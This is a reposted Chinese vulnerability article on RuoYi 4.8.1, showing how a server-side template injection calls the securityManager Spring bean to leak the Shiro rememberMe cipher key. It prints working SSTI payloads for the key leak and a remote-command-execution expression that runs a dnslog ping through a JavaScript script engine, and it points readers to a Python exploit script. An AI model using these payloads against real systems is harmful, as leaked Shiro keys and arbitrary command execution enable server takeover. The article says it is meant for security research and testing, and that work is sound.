文章总结: 这篇文章介绍了ruoyi4.8.1版本中通过SSTI调用SpringBean获取ShiroKey的方法,以及利用该漏洞进行命令执行的技术细节。作者发现securityManager是SpringBean,存储了rememberMeManager方法,可获取包含shirokey的对象。文章提供了具体的表达式来获取shirokey的字节数组,并展示了如何利用该漏洞执行系统命令,如pingdnslog等操作。该技术可用于安全测试和漏洞评估。
综合评分: 87
文章分类: 漏洞分析,WEB安全,漏洞POC,渗透测试,安全工具
ruoyi最新版本4.8.1命令执行链和获取shiro key利用工具
原创
i青山
生姜701
2025年12月8日 16:44
安徽
SSTI调用springBean获取Shiro Key 看到某大佬发的这个思路就过来尝试了一下
分析过程如下
找到存储shiro key的object 但是它不是springBean方法
img
找到securityManager为springBean方法并且存储了rememberMeManager方法返回包含shiro key的object
img
综上所述,简单构造一个调用链。
DefaultWebSecurityManager securityManager = (DefaultWebSecurityManager) applicationContext.getBean("securityManager");
CustomCookieRememberMeManager rememberMeManager = (CustomCookieRememberMeManager) securityManager.getRememberMeManager();
// 2. 获取解密密钥(字节数组形式)
byte[] cipherKey = rememberMeManager.getCipherKey();
// 3. 将密钥进行Base64编码,得到常见的密钥字符串形式
String base64Key = Base64.getEncoder().encodeToString(cipherKey);
构造表达式调用springBean获取shiro key
__|*${#response.addHeader("shirokey", @securityManager.RememberMeManager.cipherKey)}|__::.x
发送请求获取shiro key的字节数组
img
exp测试,公众号回复ruoyi shiroexp 获取py利用脚本
img
新的表达式获取shiro key
__|*${#response.getWriter().print(''.getClass().forName('java.util.Base64').getEncoder().encodeToString(@securityManager.RememberMeManager.cipherKey))}|__::.x
RCE表达式
__|*${#response.getWriter().print(''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('ping -c 2 dnslog')"))}|__::.x
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:生姜701 i青山《ruoyi最新版本4.8.1命令执行链和获取shiro key利用工具》